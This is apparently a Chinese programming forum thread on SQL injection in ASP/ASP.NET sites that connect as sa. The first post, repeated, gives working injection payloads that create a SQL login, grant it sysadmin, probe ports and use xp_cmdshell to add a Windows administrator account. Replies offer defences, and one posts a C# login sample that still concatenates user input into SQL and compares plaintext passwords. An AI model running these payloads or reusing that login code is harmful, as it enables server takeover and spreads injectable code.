很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?![篇幅问题,具体命令自己查查]把Request.QueryString["name"]的值改为: 1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户 2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..不可以呢? 向下看象上面编程的人安全意识都不高,看看他的机子有那些端口开着 telnet www.***.com 1433 telnet www.***.com 3389 telnet www.***.com 21 telnet www.***.com 139 telnet www.***.com 445 大多数都开着,下面我们就假设都开了! 运行下面的存储过程在他的sql查询分析器里,一条条运行 exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add' exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号后面想干什么我就不细说,有问我就答 防止攻击: 方法一——过滤单引号 function escape(input) input=replace(input,"'","''") escape=input end function方法二——拒绝已知的错误输入 function validate_string(input) known_bad=array("select","insert","update","delete","drop","—","'") validate_string=true for i=lbound(known_bad) to ubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next end function方法三——只允许正确的输入 function validatepassword(input) good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” validatepassword=true for i=1 to len(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next end function http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
还有最好别用true 或 false 之类的条件进行判断。
http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx
http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..不可以呢?
向下看象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
使用存储过程
虽然我把大多固定的SQL使用都做了存储过程,可是在管理页或者其他地方也难免用SQL语句我已经把所有用户输入的数据都做了过滤,把危险的字符都替换掉了。这样还可以注入吗?
是不是只要有SQL直接的调用就存在注入??
2过滤‘
3过滤敏感单词例如update、delete等
要判断所接受参数的长度和数据类型等。
2.SQL数据库中不要用DBO用户,当然更不能用sa了。
自己建一个用户,自己钩选权限,一个表一个表的钩。虽然麻烦,不过很有效果。
3.使用存储过程也是一个好的方面。
4.提高自己的安全意识。
看sql这句,sql="select * from T_User where User_Id='"+LoginName.Text+"'";
这句只判段在表里找用户名。然后用
if(sdr["Password"].ToString().ToUpper()==PassWord.Text.Trim().ToUpper())
reader读出了密码,与sql查出来的用户名进行比较。这样就可以避免了注入。
如果sql="select * from T_User where User_Id='"+LoginName.Text+"' and Password='"+Password+"'";中有用户名与密码两个传值的话就可以注入了。
下面是登陆验证的代码:
如果加上过滤字符就更好些了:)一点愚见.
------------------------------------SqlConnection conn=new Conn().Connection();
if(conn.State==System.Data.ConnectionState.Closed)conn.Open();
string sql="select * from T_User where User_Id='"+LoginName.Text+"'";
SqlCommand scmd=new SqlCommand(sql,conn);
SqlDataReader sdr=scmd.ExecuteReader();
if(sdr.Read())
{
if(sdr["Password"].ToString().ToUpper()==PassWord.Text.Trim().ToUpper())
{
Response.Write("<script language=javascript>alert('成功登陆!');</script>");
Session.Add("username",LoginName.Text);
sdr.Close();
conn.Close();
Response.Redirect("main.aspx");
}
else
{
Response.Write("<script language=javascript>alert('密码错误!');</script>");
}
}
else
{
Response.Write("<script language=javascript>alert('用户不存在!');</script>");
} }
str=str.replace("'","''")